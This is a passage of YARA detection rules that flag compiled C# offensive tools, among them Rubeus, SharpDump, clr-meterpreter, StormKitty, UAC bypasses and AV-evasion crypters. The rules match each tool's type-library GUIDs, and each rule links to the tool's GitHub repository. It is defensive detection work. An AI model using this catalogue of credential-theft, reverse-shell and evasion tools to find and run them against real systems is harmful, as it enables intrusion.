		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "b8c330dc-74aa-5a33-8af6-17c9beb8be81"

	strings:
		$typelibguid0lo = "9480809e-5472-44f3-b076-dcdf7379e766" ascii wide
		$typelibguid0up = "9480809E-5472-44F3-B076-DCDF7379E766" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_UglyEXe
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/fashionproof/UglyEXe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "5833e6c5-f078-5eb5-9519-76710d7da0e1"

	strings:
		$typelibguid0lo = "233de44b-4ec1-475d-a7d6-16da48d6fc8d" ascii wide
		$typelibguid0up = "233DE44B-4EC1-475D-A7D6-16DA48D6FC8D" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpDump
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/GhostPack/SharpDump"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "b613092f-9006-5405-b07e-59737410ac1e"

	strings:
		$typelibguid0lo = "79c9bba3-a0ea-431c-866c-77004802d8a0" ascii wide
		$typelibguid0up = "79C9BBA3-A0EA-431C-866C-77004802D8A0" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_EducationalRAT
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/securesean/EducationalRAT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "b1d54bea-a6c4-5c57-9ee1-7438d503b01d"

	strings:
		$typelibguid0lo = "8a18fbcf-8cac-482d-8ab7-08a44f0e278e" ascii wide
		$typelibguid0up = "8A18FBCF-8CAC-482D-8AB7-08A44F0E278E" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Stealth_Kid_RAT
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/ctsecurity/Stealth-Kid-RAT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "f26e040a-dcc7-518f-89f2-3333f83fa14a"

	strings:
		$typelibguid0lo = "bf43cd33-c259-4711-8a0e-1a5c6c13811d" ascii wide
		$typelibguid0up = "BF43CD33-C259-4711-8A0E-1A5C6C13811D" ascii wide
		$typelibguid1lo = "e5b9df9b-a9e4-4754-8731-efc4e2667d88" ascii wide
		$typelibguid1up = "E5B9DF9B-A9E4-4754-8731-EFC4E2667D88" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpCradle
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/anthemtotheego/SharpCradle"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "e2123a73-2609-559d-a122-923ebf8fd668"

	strings:
		$typelibguid0lo = "f70d2b71-4aae-4b24-9dae-55bc819c78bb" ascii wide
		$typelibguid0up = "F70D2B71-4AAE-4B24-9DAE-55BC819C78BB" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_BypassUAC
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/cnsimo/BypassUAC"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "327f581e-1d8c-5d20-bdd7-a29810c619c9"

	strings:
		$typelibguid0lo = "4e7c140d-bcc4-4b15-8c11-adb4e54cc39a" ascii wide
		$typelibguid0up = "4E7C140D-BCC4-4B15-8C11-ADB4E54CC39A" ascii wide
		$typelibguid1lo = "cec553a7-1370-4bbc-9aae-b2f5dbde32b0" ascii wide
		$typelibguid1up = "CEC553A7-1370-4BBC-9AAE-B2F5DBDE32B0" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_hanzoInjection
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/P0cL4bs/hanzoInjection"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "c432bf68-49bf-57c7-bbfa-7bd2f3506c52"

	strings:
		$typelibguid0lo = "32e22e25-b033-4d98-a0b3-3d2c3850f06c" ascii wide
		$typelibguid0up = "32E22E25-B033-4D98-A0B3-3D2C3850F06C" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_clr_meterpreter
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/OJ/clr-meterpreter"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "1d8a9717-4d80-5fb1-9c57-9b5f6c5a18b0"

	strings:
		$typelibguid0lo = "6840b249-1a0e-433b-be79-a927696ea4b3" ascii wide
		$typelibguid0up = "6840B249-1A0E-433B-BE79-A927696EA4B3" ascii wide
		$typelibguid1lo = "67c09d37-ac18-4f15-8dd6-b5da721c0df6" ascii wide
		$typelibguid1up = "67C09D37-AC18-4F15-8DD6-B5DA721C0DF6" ascii wide
		$typelibguid2lo = "e05d0deb-d724-4448-8c4c-53d6a8e670f3" ascii wide
		$typelibguid2up = "E05D0DEB-D724-4448-8C4C-53D6A8E670F3" ascii wide
		$typelibguid3lo = "c3cc72bf-62a2-4034-af66-e66da73e425d" ascii wide
		$typelibguid3up = "C3CC72BF-62A2-4034-AF66-E66DA73E425D" ascii wide
		$typelibguid4lo = "7ace3762-d8e1-4969-a5a0-dcaf7b18164e" ascii wide
		$typelibguid4up = "7ACE3762-D8E1-4969-A5A0-DCAF7B18164E" ascii wide
		$typelibguid5lo = "3296e4a3-94b5-4232-b423-44f4c7421cb3" ascii wide
		$typelibguid5up = "3296E4A3-94B5-4232-B423-44F4C7421CB3" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_BYTAGE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/KNIF/BYTAGE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "4f87ca2c-3ac1-5733-893e-79665b80ffc3"

	strings:
		$typelibguid0lo = "8e46ba56-e877-4dec-be1e-394cb1b5b9de" ascii wide
		$typelibguid0up = "8E46BA56-E877-4DEC-BE1E-394CB1B5B9DE" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_MultiOS_ReverseShell
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/belane/MultiOS_ReverseShell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "f54bcb1a-b0cd-5988-bf1d-4fa6c012d6b9"

	strings:
		$typelibguid0lo = "df0dd7a1-9f6b-4b0f-801e-e17e73b0801d" ascii wide
		$typelibguid0up = "DF0DD7A1-9F6B-4B0F-801E-E17E73B0801D" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_HideFromAMSI
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/0r13lc0ch4v1/HideFromAMSI"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "0fa1ce82-b662-5e18-a5da-8359c96cd6e9"

	strings:
		$typelibguid0lo = "b91d2d44-794c-49b8-8a75-2fbec3fe3fe3" ascii wide
		$typelibguid0up = "B91D2D44-794C-49B8-8A75-2FBEC3FE3FE3" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_DotNetAVBypass_Master
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/lockfale/DotNetAVBypass-Master"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "4004271b-4fbe-58bb-9613-a077e76324b3"

	strings:
		$typelibguid0lo = "4854c8dc-82b0-4162-86e0-a5bbcbc10240" ascii wide
		$typelibguid0up = "4854C8DC-82B0-4162-86E0-A5BBCBC10240" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpDPAPI
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/GhostPack/SharpDPAPI"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "1394323f-b336-548f-925c-c276d439e9eb"

	strings:
		$typelibguid0lo = "5f026c27-f8e6-4052-b231-8451c6a73838" ascii wide
		$typelibguid0up = "5F026C27-F8E6-4052-B231-8451C6A73838" ascii wide
		$typelibguid1lo = "2f00a05b-263d-4fcc-846b-da82bd684603" ascii wide
		$typelibguid1up = "2F00A05B-263D-4FCC-846B-DA82BD684603" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Telegra_Csharp_C2
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/sf197/Telegra_Csharp_C2"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "495a5f3e-cf05-5a66-b01c-8176ded88768"

	strings:
		$typelibguid0lo = "1d79fabc-2ba2-4604-a4b6-045027340c85" ascii wide
		$typelibguid0up = "1D79FABC-2BA2-4604-A4B6-045027340C85" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpCompile
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/SpiderLabs/SharpCompile"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "c5e053c4-1c90-581a-a6c3-087b252254b2"

	strings:
		$typelibguid0lo = "63f81b73-ff18-4a36-b095-fdcb4776da4c" ascii wide
		$typelibguid0up = "63F81B73-FF18-4A36-B095-FDCB4776DA4C" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Carbuncle
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/checkymander/Carbuncle"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "4a87882e-570b-5b40-a8e3-47ebac01d257"

	strings:
		$typelibguid0lo = "3f239b73-88ae-413b-b8c8-c01a35a0d92e" ascii wide
		$typelibguid0up = "3F239B73-88AE-413B-B8C8-C01A35A0D92E" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_OSSFileTool
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/B1eed/OSSFileTool"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "fa9aeae1-2aa5-51af-81e2-22a1b6fcda81"

	strings:
		$typelibguid0lo = "207aca5d-dcd6-41fb-8465-58b39efcde8b" ascii wide
		$typelibguid0up = "207ACA5D-DCD6-41FB-8465-58B39EFCDE8B" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Rubeus
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/GhostPack/Rubeus"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "54638fe4-84b5-51a8-8c88-9c50ab09ff49"

	strings:
		$typelibguid0lo = "658c8b7f-3664-4a95-9572-a3e5871dfc06" ascii wide
		$typelibguid0up = "658C8B7F-3664-4A95-9572-A3E5871DFC06" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Simple_Loader
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/cribdragg3r/Simple-Loader"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "4c26aaf9-187d-5990-b956-1bbf630411f0"

	strings:
		$typelibguid0lo = "035ae711-c0e9-41da-a9a2-6523865e8694" ascii wide
		$typelibguid0up = "035AE711-C0E9-41DA-A9A2-6523865E8694" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Minidump
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/3xpl01tc0d3r/Minidump"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "51f64c64-f3fa-5543-83fc-5f0bf881ef03"

	strings:
		$typelibguid0lo = "15c241aa-e73c-4b38-9489-9a344ac268a3" ascii wide
		$typelibguid0up = "15C241AA-E73C-4B38-9489-9A344AC268A3" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpBypassUAC
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/FatRodzianko/SharpBypassUAC"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "474d40aa-4bcc-58b5-a129-40bbd3a89e99"

	strings:
		$typelibguid0lo = "0d588c86-c680-4b0d-9aed-418f1bb94255" ascii wide
		$typelibguid0up = "0D588C86-C680-4B0D-9AED-418F1BB94255" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpPack
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/Lexus89/SharpPack"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "633d074a-b8c2-5148-ad80-6226b99be818"

	strings:
		$typelibguid1lo = "b59c7741-d522-4a41-bf4d-9badddebb84a" ascii wide
		$typelibguid1up = "B59C7741-D522-4A41-BF4D-9BADDDEBB84A" ascii wide
		$typelibguid2lo = "fd6bdf7a-fef4-4b28-9027-5bf750f08048" ascii wide
		$typelibguid2up = "FD6BDF7A-FEF4-4B28-9027-5BF750F08048" ascii wide
		$typelibguid3lo = "6dd22880-dac5-4b4d-9c91-8c35cc7b8180" ascii wide
		$typelibguid3up = "6DD22880-DAC5-4B4D-9C91-8C35CC7B8180" ascii wide
		$typelibguid5lo = "f3037587-1a3b-41f1-aa71-b026efdb2a82" ascii wide
		$typelibguid5up = "F3037587-1A3B-41F1-AA71-B026EFDB2A82" ascii wide
		$typelibguid6lo = "41a90a6a-f9ed-4a2f-8448-d544ec1fd753" ascii wide
		$typelibguid6up = "41A90A6A-F9ED-4A2F-8448-D544EC1FD753" ascii wide
		$typelibguid7lo = "3787435b-8352-4bd8-a1c6-e5a1b73921f4" ascii wide
		$typelibguid7up = "3787435B-8352-4BD8-A1C6-E5A1B73921F4" ascii wide
		$typelibguid8lo = "fdd654f5-5c54-4d93-bf8e-faf11b00e3e9" ascii wide
		$typelibguid8up = "FDD654F5-5C54-4D93-BF8E-FAF11B00E3E9" ascii wide
		$typelibguid9lo = "aec32155-d589-4150-8fe7-2900df4554c8" ascii wide
		$typelibguid9up = "AEC32155-D589-4150-8FE7-2900DF4554C8" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Salsa_tools
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/Hackplayers/Salsa-tools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "50db578e-6ddb-54d1-a978-e3630a3548c3"

	strings:
		$typelibguid0lo = "276004bb-5200-4381-843c-934e4c385b66" ascii wide
		$typelibguid0up = "276004BB-5200-4381-843C-934E4C385B66" ascii wide
		$typelibguid1lo = "cfcbf7b6-1c69-4b1f-8651-6bdb4b55f6b9" ascii wide
		$typelibguid1up = "CFCBF7B6-1C69-4B1F-8651-6BDB4B55F6B9" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_WindowsDefender_Payload_Downloader
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/notkohlrexo/WindowsDefender-Payload-Downloader"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "6e494a91-c05e-5a2e-8aa9-77600f3bdd47"

	strings:
		$typelibguid0lo = "2f8b4d26-7620-4e11-b296-bc46eba3adfc" ascii wide
		$typelibguid0up = "2F8B4D26-7620-4E11-B296-BC46EBA3ADFC" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Privilege_Escalation
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/Mrakovic-ORG/Privilege_Escalation"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "28615807-6637-57fc-ba56-efc64b041b80"

	strings:
		$typelibguid0lo = "ed54b904-5645-4830-8e68-52fd9ecbb2eb" ascii wide
		$typelibguid0up = "ED54B904-5645-4830-8E68-52FD9ECBB2EB" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Marauder
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/maraudershell/Marauder"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "f2783477-2853-5dcd-95f5-9f1e07a4a6e8"

	strings:
		$typelibguid0lo = "fff0a9a3-dfd4-402b-a251-6046d765ad78" ascii wide
		$typelibguid0up = "FFF0A9A3-DFD4-402B-A251-6046D765AD78" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_AV_Evasion_Tool
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/1y0n/AV_Evasion_Tool"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "d4257465-38a0-56b9-8402-b92e21b96cb0"

	strings:
		$typelibguid0lo = "1937ee16-57d7-4a5f-88f4-024244f19dc6" ascii wide
		$typelibguid0up = "1937EE16-57D7-4A5F-88F4-024244F19DC6" ascii wide
		$typelibguid1lo = "7898617d-08d2-4297-adfe-5edd5c1b828b" ascii wide
		$typelibguid1up = "7898617D-08D2-4297-ADFE-5EDD5C1B828B" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Fenrir
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/nccgroup/Fenrir"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "cfc6312d-5997-5261-b771-c7f3f30bf86c"

	strings:
		$typelibguid0lo = "aecec195-f143-4d02-b946-df0e1433bd2e" ascii wide
		$typelibguid0up = "AECEC195-F143-4D02-B946-DF0E1433BD2E" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_StormKitty
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/LimerBoy/StormKitty"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "09d66661-5b67-5846-9bea-ec682afb62cf"

	strings:
		$typelibguid0lo = "a16abbb4-985b-4db2-a80c-21268b26c73d" ascii wide
		$typelibguid0up = "A16ABBB4-985B-4DB2-A80C-21268B26C73D" ascii wide
		$typelibguid1lo = "98075331-1f86-48c8-ae29-29da39a8f98b" ascii wide
		$typelibguid1up = "98075331-1F86-48C8-AE29-29DA39A8F98B" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Crypter_Runtime_AV_s_bypass
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/netreverse/Crypter-Runtime-AV-s-bypass"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "726cd57b-d88a-5854-b2e1-76d9bd71a155"

	strings:
		$typelibguid0lo = "c25e39a9-8215-43aa-96a3-da0e9512ec18" ascii wide
		$typelibguid0up = "C25E39A9-8215-43AA-96A3-DA0E9512EC18" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_RunAsUser
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/atthacks/RunAsUser"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "ead7819a-1397-5953-888f-2176e4041375"

	strings:
		$typelibguid0lo = "9dff282c-93b9-4063-bf8a-b6798371d35a" ascii wide
		$typelibguid0up = "9DFF282C-93B9-4063-BF8A-B6798371D35A" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_HWIDbypass
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/yunseok/HWIDbypass"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "62b0541b-6eec-546e-8445-85d25bb0d784"

	strings:
		$typelibguid0lo = "47e08791-d124-4746-bc50-24bd1ee719a6" ascii wide
		$typelibguid0up = "47E08791-D124-4746-BC50-24BD1EE719A6" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_XORedReflectiveDLL
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/r3nhat/XORedReflectiveDLL"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "9b584bfb-98ef-50ee-b546-780c4b210a1b"

	strings:
		$typelibguid0lo = "c0e49392-04e3-4abb-b931-5202e0eb4c73" ascii wide
		$typelibguid0up = "C0E49392-04E3-4ABB-B931-5202E0EB4C73" ascii wide
		$typelibguid1lo = "30eef7d6-cee8-490b-829f-082041bc3141" ascii wide
		$typelibguid1up = "30EEF7D6-CEE8-490B-829F-082041BC3141" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Sharp_Suite
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/FuzzySecurity/Sharp-Suite"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		modified = "2023-04-06"
		id = "ab3cf358-a41d-584d-baaf-5e8f7232ca85"

	strings:
		$typelibguid0lo = "19657be4-51ca-4a85-8ab1-f6666008b1f3" ascii wide
		$typelibguid0up = "19657BE4-51CA-4A85-8AB1-F6666008B1F3" ascii wide
		$typelibguid1lo = "0a382d9a-897f-431a-81c2-a4e08392c587" ascii wide
		$typelibguid1up = "0A382D9A-897F-431A-81C2-A4E08392C587" ascii wide
		$typelibguid2lo = "467ee2a9-2f01-4a71-9647-2a2d9c31e608" ascii wide
		$typelibguid2up = "467EE2A9-2F01-4A71-9647-2A2D9C31E608" ascii wide
		$typelibguid3lo = "eacaa2b8-43e5-4888-826d-2f6902e16546" ascii wide
		$typelibguid3up = "EACAA2B8-43E5-4888-826D-2F6902E16546" ascii wide
		$typelibguid4lo = "629f86e6-44fe-4c9c-b043-1c9b64be6d5a" ascii wide
		$typelibguid4up = "629F86E6-44FE-4C9C-B043-1C9B64BE6D5A" ascii wide
		$typelibguid5lo = "ecf2ffe4-1744-4745-8693-5790d66bb1b8" ascii wide
		$typelibguid5up = "ECF2FFE4-1744-4745-8693-5790D66BB1B8" ascii wide
		$typelibguid6lo = "0a621f4c-8082-4c30-b131-ba2c98db0533" ascii wide
		$typelibguid6up = "0A621F4C-8082-4C30-B131-BA2C98DB0533" ascii wide
		$typelibguid7lo = "72019dfe-608e-4ab2-a8f1-66c95c425620" ascii wide
		$typelibguid7up = "72019DFE-608E-4AB2-A8F1-66C95C425620" ascii wide
